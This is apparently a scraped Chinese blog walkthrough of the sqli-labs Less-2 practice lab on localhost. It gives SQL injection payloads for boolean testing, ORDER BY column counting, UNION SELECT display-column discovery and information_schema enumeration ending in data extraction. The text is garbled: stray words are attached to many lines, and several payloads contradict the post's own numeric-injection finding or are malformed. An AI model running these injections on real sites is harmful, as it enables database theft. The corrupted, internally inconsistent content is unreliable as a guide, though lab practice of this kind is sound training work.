sqli-labs第二關 詳解

學會了第一關,時隔多天來到了第二關,怎麼說了沒有看wp就給作出來了。html

首先,我是本身先判斷了下,這個是什麼注入mysql

?id=1'  不行sql

?id=1' or '1'='1--+  也不行數據庫

而後又嘗試了下服務器

?id=1 and 1=1  頁面顯示正常url

?id=1 and 1=2  頁面又錯誤回顯orm

而後這就是數字注入了htm

因而咱們去查庫,跟第一關的思路是同樣的。而後就爆出了庫。若是不懂的能夠點這個連接。blog

 http://www.javashuo.com/article/p-rleantdf-nu.htmlget

 sql注入通常步驟:

第一步:經過特殊的數據庫查詢語句

第二步:在數據庫的錯誤返回中找到sql漏洞

第三步:利用sql語句猜解管理人員信息並登陸管理員後臺

判斷注入類型

數字型注入

1. url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,由於有一個多餘的"單引號"使查詢語句錯誤

2. url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1時,沒有報錯

3. url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2時,因爲1=2不成立,也會報錯

知足這三個,基本上就是數字注入了

字符型注入

1. url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,數據庫認爲id叫作1'。查詢以後發現沒有這個id而返回錯誤。(在字符型注入中,須要考慮引號的閉合)

2. url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1以後沒有加上'是由於傳參時輸入的內容已經被' '包圍。

後臺查詢列數

使用order by試出數據庫列數

url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 數字 (若是試4時有錯誤,3時正確,那麼列數爲3)

找顯示位

使用union select找出會返回客戶端並顯示的列。若是有3列時,應該這麼寫

url爲 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3

加入顯示位是3,這就意味着數據庫開放了5個「窗口」用來顯示內容,用查詢到的數據,在這些窗口顯示數據

查庫名

聯合查詢:select database();

下面是查看數據庫的版本和數據庫信息

假如顯示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()

查表名

找到庫名之後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='庫名' (若是庫名是字符型,此處庫名要轉成十六進制)

information_schema:

這是一個mysql自帶的庫,其中保存着關於mysql服務器所維護的全部其餘數據庫的信息。如數據庫名,數據庫的表,表列的數據類型與訪問權限等,因此咱們查詢這個庫

查列名

找到表以後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (若是表名是字符型,此處庫名要轉成十六進制)

若是表數或列數過多,能夠在最後使用limit加上limit 0,5至關於檢索1-5條信息

查具體數據

找到列以後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查詢的數據") from 表名

相關文章
相關標籤/搜索